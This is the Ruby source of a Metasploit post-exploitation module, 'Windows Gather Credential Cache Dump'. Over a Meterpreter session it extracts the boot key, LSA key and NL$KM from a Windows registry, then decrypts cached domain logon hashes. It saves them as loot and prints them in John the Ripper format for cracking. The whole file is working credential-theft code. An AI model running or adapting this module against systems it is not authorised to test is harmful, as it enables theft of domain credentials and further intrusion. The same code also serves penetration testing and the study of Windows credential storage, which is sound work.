cachedump.rb

##
# $Id$
##

# post/windows/gather/cachedump.rb

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

require 'msf/core'
require 'rex'
require 'msf/core/post/windows/registry'

class Metasploit3 < Msf::Post

	include Msf::Post::Windows::Registry

	def initialize(info={})
		super( update_info(info,
			'Name'         => 'Windows Gather Credential Cache Dump',
			'Description'  => %q{
				This module uses the registry to extract the stored domain hashes that have been
				cached as a result of a GPO setting. The default setting on Windows is to store
				the last ten successful logins.},
			'License'      => MSF_LICENSE,
			'Author'       => ['Maurizio Agazzini <inode[at]mediaservice.net>','Rob Fuller <mubix[at]hak5.org>'],
			'Version'      => '$Revision$',
			'Platform'     => ['windows'],
			'SessionTypes' => ['meterpreter'],
			'References'   => [['URL', 'http://lab.mediaservice.net/code/cachedump.rb']]
		))

		register_options(
		[
			OptBool.new('DEBUG', [true, 'Debugging output', false])
		], self.class)
	end



	def check_gpo
		begin
			winlogonkey = session.sys.registry.open_key(HKEY_LOCAL_MACHINE, "Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon", KEY_READ)
			gposetting = winlogonkey.query_value('CachedLogonsCount').data
			print_status("Cached Credentials Setting: #{gposetting.to_s} - (Max is 50 and 0 disables, and 10 is default)")
			#ValueName: CachedLogonsCount
			#Data Type: REG_SZ
			#Values: 0 - 50
		rescue ::Exception => e
			print_error("Cache setting not found...")
		end
	end

	def capture_boot_key
		bootkey = ""
		basekey = "System\\CurrentControlSet\\Control\\Lsa"

		%W{JD Skew1 GBG Data}.each do |k|
			ok = session.sys.registry.open_key(HKEY_LOCAL_MACHINE, basekey + "\\" + k, KEY_READ)
			return nil if not ok
			bootkey << [ok.query_class.to_i(16)].pack("V")
			ok.close
		end

		keybytes = bootkey.unpack("C*")
		descrambled = ""
		descrambler = [ 0x0b, 0x06, 0x07, 0x01, 0x08, 0x0a, 0x0e, 0x00, 0x03, 0x05, 0x02, 0x0f, 0x0d, 0x09, 0x0c, 0x04 ]

		0.upto(keybytes.length-1) do |x|
			descrambled << [keybytes[descrambler[x]]].pack("C")
		end

		return descrambled
	end

	def capture_lsa_key(bootkey)
		begin
			print_status("Getting PolSecretEncryptionKey...") if( datastore['DEBUG'] )
			ok = session.sys.registry.open_key(HKEY_LOCAL_MACHINE, "SECURITY\\Policy\\PolSecretEncryptionKey", KEY_READ)
			pol = ok.query_value("").data
			print_status("Got PolSecretEncryptionKey: #{pol.unpack("H*")[0]}") if( datastore['DEBUG'] )
			ok.close
			print_status("XP compatible client")
			@vista = 0
		rescue
			print_status("Trying 'Vista' style...")
			print_status("Getting PolEKList...") if( datastore['DEBUG'] )
			ok = session.sys.registry.open_key(HKEY_LOCAL_MACHINE, "SECURITY\\Policy\\PolEKList", KEY_READ)
			pol = ok.query_value("").data
			ok.close
			print_status("Vista compatible client")
			@vista = 1
		end

		if( @vista == 1 )
			lsakey = decrypt_lsa(pol, bootkey)
			lsakey = lsakey[68,32]
		else
			md5x = Digest::MD5.new()
			md5x << bootkey
			(1..1000).each do
				md5x << pol[60,16]
			end

			rc4 = OpenSSL::Cipher::Cipher.new("rc4")
			rc4.key = md5x.digest
			lsakey	= rc4.update(pol[12,48])
			lsakey << rc4.final
			lsakey = lsakey[0x10..0x1F]
		end
		return lsakey
	end

	def convert_des_56_to_64(kstr)
		des_odd_parity = [
			1, 1, 2, 2, 4, 4, 7, 7, 8, 8, 11, 11, 13, 13, 14, 14,
			16, 16, 19, 19, 21, 21, 22, 22, 25, 25, 26, 26, 28, 28, 31, 31,
			32, 32, 35, 35, 37, 37, 38, 38, 41, 41, 42, 42, 44, 44, 47, 47,
			49, 49, 50, 50, 52, 52, 55, 55, 56, 56, 59, 59, 61, 61, 62, 62,
			64, 64, 67, 67, 69, 69, 70, 70, 73, 73, 74, 74, 76, 76, 79, 79,
			81, 81, 82, 82, 84, 84, 87, 87, 88, 88, 91, 91, 93, 93, 94, 94,
			97, 97, 98, 98,100,100,103,103,104,104,107,107,109,109,110,110,
			112,112,115,115,117,117,118,118,121,121,122,122,124,124,127,127,
			128,128,131,131,133,133,134,134,137,137,138,138,140,140,143,143,
			145,145,146,146,148,148,151,151,152,152,155,155,157,157,158,158,
			161,161,162,162,164,164,167,167,168,168,171,171,173,173,174,174,
			176,176,179,179,181,181,182,182,185,185,186,186,188,188,191,191,
			193,193,194,194,196,196,199,199,200,200,203,203,205,205,206,206,
			208,208,211,211,213,213,214,214,217,217,218,218,220,220,223,223,
			224,224,227,227,229,229,230,230,233,233,234,234,236,236,239,239,
			241,241,242,242,244,244,247,247,248,248,251,251,253,253,254,254
		]

		key = []
		str = kstr.unpack("C*")

		key[0] = str[0] >> 1
		key[1] = ((str[0] & 0x01) << 6) | (str[1] >> 2)
		key[2] = ((str[1] & 0x03) << 5) | (str[2] >> 3)
		key[3] = ((str[2] & 0x07) << 4) | (str[3] >> 4)
		key[4] = ((str[3] & 0x0F) << 3) | (str[4] >> 5)
		key[5] = ((str[4] & 0x1F) << 2) | (str[5] >> 6)
		key[6] = ((str[5] & 0x3F) << 1) | (str[6] >> 7)
		key[7] = str[6] & 0x7F

		0.upto(7) do |i|
			key[i] = ( key[i] << 1)
			key[i] = des_odd_parity[key[i]]
		end
		return key.pack("C*")
	end

	def decrypt_secret(secret, key)

		# Ruby implementation of SystemFunction005
		# the original python code has been taken from Credump

		j = 0
		decrypted_data = ''

		for i in (0...secret.length).step(8)
			enc_block = secret[i..i+7]
			block_key = key[j..j+6]
			des_key = convert_des_56_to_64(block_key)
			d1 = OpenSSL::Cipher::Cipher.new('des-ecb')

			d1.padding = 0
			d1.key = des_key
			d1o = d1.update(enc_block)
			d1o << d1.final
			decrypted_data += d1o
			j += 7
			if (key[j..j+7].length < 7 )
				j = key[j..j+7].length
			end
		end
		dec_data_len = decrypted_data[0].ord

		return decrypted_data[8..8+dec_data_len]

	end

	def decrypt_lsa(pol, encryptedkey)

		sha256x = Digest::SHA256.new()
		sha256x << encryptedkey
		(1..1000).each do
			sha256x << pol[28,32]
		end

		aes = OpenSSL::Cipher::Cipher.new("aes-256-cbc")
		aes.key = sha256x.digest

		print_status("digest #{sha256x.digest.unpack("H*")[0]}") if( datastore['DEBUG'] )

		decryptedkey = ''

		for i in (60...pol.length).step(16)
			aes.decrypt
			aes.padding = 0
			xx = aes.update(pol[i...i+16])
			decryptedkey += xx
		end

		return decryptedkey
	end

	def capture_nlkm(lsakey)
		ok = session.sys.registry.open_key(HKEY_LOCAL_MACHINE, "SECURITY\\Policy\\Secrets\\NL$KM\\CurrVal", KEY_READ)
		nlkm = ok.query_value("").data
		ok.close

		print_status("Encrypted NL$KM: #{nlkm.unpack("H*")[0]}") if( datastore['DEBUG'] )

		if( @vista == 1 )
			nlkm_dec = decrypt_lsa( nlkm[0..-1], lsakey)
		else
			nlkm_dec = decrypt_secret( nlkm[0xC..-1], lsakey)
		end

		return nlkm_dec
	end

	def parse_decrypted_cache(dec_data, s)

		i = 0
		hash = dec_data[i...i+0x10]
		i+=72

		username = dec_data[i...i+(s.userNameLength)].split("\x00\x00").first.gsub("\x00", '')
		i+=s.userNameLength
		i+=2 * ( ( s.userNameLength / 2 ) % 2 )

		vprint_good "Username\t\t: #{username}"
		vprint_good "Hash\t\t: #{hash.unpack("H*")[0]}"

		last = Time.at(s.lastAccess)
		vprint_good "Last login\t\t: #{last.strftime("%F %T")} "

		domain = dec_data[i...i+s.domainNameLength+1]
		i+=s.domainNameLength

		if( s.dnsDomainNameLength != 0)
			dnsDomainName = dec_data[i...i+s.dnsDomainNameLength+1].split("\x00\x00").first.gsub("\x00", '')
			i+=s.dnsDomainNameLength
			i+=2 * ( ( s.dnsDomainNameLength / 2 ) % 2 )
			vprint_good "DNS Domain Name\t: #{dnsDomainName}"
		end

		if( s.upnLength != 0)
			upn = dec_data[i...i+s.upnLength+1].split("\x00\x00").first.gsub("\x00", '')
			i+=s.upnLength
			i+=2 * ( ( s.upnLength / 2 ) % 2 )
			vprint_good "UPN\t\t\t: #{upn}"
		end

		if( s.effectiveNameLength != 0 )
			effectiveName = dec_data[i...i+s.effectiveNameLength+1].split("\x00\x00").first.gsub("\x00", '')
			i+=s.effectiveNameLength
			i+=2 * ( ( s.effectiveNameLength / 2 ) % 2 )
			vprint_good "Effective Name\t: #{effectiveName}"
		end

		if( s.fullNameLength != 0 )
			fullName = dec_data[i...i+s.fullNameLength+1].split("\x00\x00").first.gsub("\x00", '')
			i+=s.fullNameLength
			i+=2 * ( ( s.fullNameLength / 2 ) % 2 )
			vprint_good "Full Name\t\t: #{fullName}"
		end

		if( s.logonScriptLength != 0 )
			logonScript = dec_data[i...i+s.logonScriptLength+1].split("\x00\x00").first.gsub("\x00", '')
			i+=s.logonScriptLength
			i+=2 * ( ( s.logonScriptLength / 2 ) % 2 )
			vprint_good "Logon Script\t\t: #{logonScript}"
		end

		if( s.profilePathLength != 0 )
			profilePath = dec_data[i...i+s.profilePathLength+1].split("\x00\x00").first.gsub("\x00", '')
			i+=s.profilePathLength
			i+=2 * ( ( s.profilePathLength / 2 ) % 2 )
			vprint_good "Profile Path\t\t: #{profilePath}"
		end

		if( s.homeDirectoryLength != 0 )
			homeDirectory = dec_data[i...i+s.homeDirectoryLength+1].split("\x00\x00").first.gsub("\x00", '')
			i+=s.homeDirectoryLength
			i+=2 * ( ( s.homeDirectoryLength / 2 ) % 2 )
			vprint_good "Home Directory\t\t: #{homeDirectory}"
		end

		if( s.homeDirectoryDriveLength != 0 )
			homeDirectoryDrive = dec_data[i...i+s.homeDirectoryDriveLength+1].split("\x00\x00").first.gsub("\x00", '')
			i+=s.homeDirectoryDriveLength
			i+=2 * ( ( s.homeDirectoryDriveLength / 2 ) % 2 )
			vprint_good "Home Directory Drive\t: #{homeDirectoryDrive}"
		end

		vprint_good "User ID\t\t: #{s.userId}"
		vprint_good "Primary Group ID\t: #{s.primaryGroupId}"

		relativeId = []
		while (s.groupCount > 0) do
			# Todo: parse attributes
			relativeId << dec_data[i...i+4].unpack("V")[0]
			i+=4
			attributes = dec_data[i...i+4].unpack("V")[0]
			i+=4
			s.groupCount-=1
		end

		vprint_good "Additional groups\t: #{relativeId.join ' '}"

		if( s.logonDomainNameLength != 0 )
			logonDomainName = dec_data[i...i+s.logonDomainNameLength+1].split("\x00\x00").first.gsub("\x00", '')
			i+=s.logonDomainNameLength
			i+=2 * ( ( s.logonDomainNameLength / 2 ) % 2 )
			vprint_good "Logon domain name\t: #{logonDomainName}"
		end

			@credentials <<
				[
					username,
					hash.unpack("H*")[0],
					logonDomainName,
					dnsDomainName,
					last.strftime("%F %T"),
					upn,
					effectiveName,
					fullName,
					logonScript,
					profilePath,
					homeDirectory,
					homeDirectoryDrive,
					s.primaryGroupId,
					relativeId.join(' '),
				]

		vprint_good "----------------------------------------------------------------------"
		return "#{username.downcase}:#{hash.unpack("H*")[0]}:#{dnsDomainName}:#{logonDomainName}\n"
	end

	def parse_cache_entry(cache_data)
		j = Struct.new(
			:userNameLength,
			:domainNameLength,
			:effectiveNameLength,
			:fullNameLength,
			:logonScriptLength,
			:profilePathLength,
			:homeDirectoryLength,
			:homeDirectoryDriveLength,
			:userId,
			:primaryGroupId,
			:groupCount,
			:logonDomainNameLength,
			:logonDomainIdLength,
			:lastAccess,
			:last_access_time,
			:revision,
			:sidCount,
			:valid,
			:sifLength,
			:logonPackage,
			:dnsDomainNameLength,
			:upnLength,
			:ch,
			:enc_data
		)

		s = j.new()

		s.userNameLength = cache_data[0,2].unpack("v")[0]
		s.domainNameLength =  cache_data[2,2].unpack("v")[0]
		s.effectiveNameLength = cache_data[4,2].unpack("v")[0]
		s.fullNameLength = cache_data[6,2].unpack("v")[0]
		s.logonScriptLength = cache_data[8,2].unpack("v")[0]
		s.profilePathLength = cache_data[10,2].unpack("v")[0]
		s.homeDirectoryLength = cache_data[12,2].unpack("v")[0]
		s.homeDirectoryDriveLength = cache_data[14,2].unpack("v")[0]

		s.userId = cache_data[16,4].unpack("V")[0]
		s.primaryGroupId = cache_data[20,4].unpack("V")[0]
		s.groupCount = cache_data[24,4].unpack("V")[0]
		s.logonDomainNameLength = cache_data[28,2].unpack("v")[0]
		s.logonDomainIdLength = cache_data[30,2].unpack("v")[0]

		#Removed ("Q") unpack and replaced as such
		thi = cache_data[32,4].unpack("V")[0]
		tlo = cache_data[36,4].unpack("V")[0]
		q = (tlo.to_s(16) + thi.to_s(16)).to_i(16)
		s.lastAccess = ((q / 10000000) - 11644473600)

		s.revision = cache_data[40,4].unpack("V")[0]
		s.sidCount = cache_data[44,4].unpack("V")[0]
		s.valid = cache_data[48,4].unpack("V")[0]
		s.sifLength = cache_data[52,4].unpack("V")[0]

		s.logonPackage  = cache_data[56,4].unpack("V")[0]
		s.dnsDomainNameLength = cache_data[60,2].unpack("v")[0]
		s.upnLength = cache_data[62,2].unpack("v")[0]

		s.ch = cache_data[64,16]
		s.enc_data = cache_data[96..-1]

		return s
	end

	def decrypt_hash(edata, nlkm, ch)
		rc4key = OpenSSL::HMAC.digest(OpenSSL::Digest::Digest.new('md5'), nlkm, ch)
		rc4 = OpenSSL::Cipher::Cipher.new("rc4")
		rc4.key = rc4key
		dec  = rc4.update(edata)
		dec << rc4.final

		return dec
	end

	def decrypt_hash_vista(edata, nlkm, ch)
		aes = OpenSSL::Cipher::Cipher.new('aes-128-cbc')
		aes.key = nlkm[16...-1]
		aes.padding = 0
		aes.decrypt
		aes.iv = ch

		jj = ""
		for i in (0...edata.length).step(16)
			xx = aes.update(edata[i...i+16])
			jj += xx
		end

		return jj
	end


	def run
		@credentials = Rex::Ui::Text::Table.new(
		'Header'    => "MSCACHE Credentials",
		'Indent'    => 1,
		'Columns'   =>
		[
			"Username",
			"Hash",
			"Logon Domain Name",
			"DNS Domain Name",
			"Last Login",
			"UPN",
			"Effective Name",
			"Full Name",
			"Logon Script",
			"Profile Path",
			"Home Directory",
			"HomeDir Drive",
			"Primary Group",
			"Additional Groups"
		])

		begin
			print_status("Executing module against #{session.sys.config.sysinfo['Computer']}")
			client.railgun.netapi32()
			if client.railgun.netapi32.NetGetJoinInformation(nil,4,4)["BufferType"] != 3
				print_error("System is not joined to a domain, exiting..")
				return
			end

			#Check policy setting for cached creds
			check_gpo

			print_status('Obtaining boot key...')
			bootkey = capture_boot_key
			print_status("Boot key: #{bootkey.unpack("H*")[0]}") if( datastore['DEBUG'] )

			print_status('Obtaining Lsa key...')
			lsakey = capture_lsa_key(bootkey)
			print_status("Lsa Key: #{lsakey.unpack("H*")[0]}") if( datastore['DEBUG'] )

			print_status("Obtaining LK$KM...")
			nlkm = capture_nlkm(lsakey)
			print_status("NL$KM: #{nlkm.unpack("H*")[0]}") if( datastore['DEBUG'] )

			print_status("Dumping cached credentials...")
			ok = session.sys.registry.open_key(HKEY_LOCAL_MACHINE, "SECURITY\\Cache", KEY_READ)

			john = ""

			ok.enum_value.each do |usr|
				if( "NL$Control" == usr.name) then
					next
				end

				begin
					nl = ok.query_value("#{usr.name}").data
				rescue
					next
				end

				cache = parse_cache_entry(nl)

				if ( cache.userNameLength > 0 )
					print_status("Reg entry: #{nl.unpack("H*")[0]}") if( datastore['DEBUG'] )
					print_status("Encrypted data: #{cache.enc_data.unpack("H*")[0]}") if( datastore['DEBUG'] )
					print_status("Ch:  #{cache.ch.unpack("H*")[0]}") if( datastore['DEBUG'] )

					if( @vista == 1 )
						dec_data = decrypt_hash_vista(cache.enc_data, nlkm, cache.ch)
					else
						dec_data = decrypt_hash(cache.enc_data, nlkm, cache.ch)
					end

					print_status("Decrypted data: #{dec_data.unpack("H*")[0]}") if( datastore['DEBUG'] )

					john += parse_decrypted_cache(dec_data, cache)

				end
			end

			store_loot("mscache.creds", "text/csv", session, @credentials.to_csv,
				"mscache_credentials.txt", "MSCACHE Credentials")

			print_status("John the Ripper format:")

			john.split("\n").each do |pass|
				print "#{pass}\n"
			end

			if( @vista == 1 )
				print_status("Hash are in MSCACHE_VISTA format. (mscash2)")
			else
				print_status("Hash are in MSCACHE format. (mscash)")
			end

		rescue ::Interrupt
			raise $!
		rescue ::Rex::Post::Meterpreter::RequestError => e
			print_error("Meterpreter Exception: #{e.class} #{e}")
			print_error("This script requires the use of a SYSTEM user context (hint: migrate into service process)")
		end
	end
end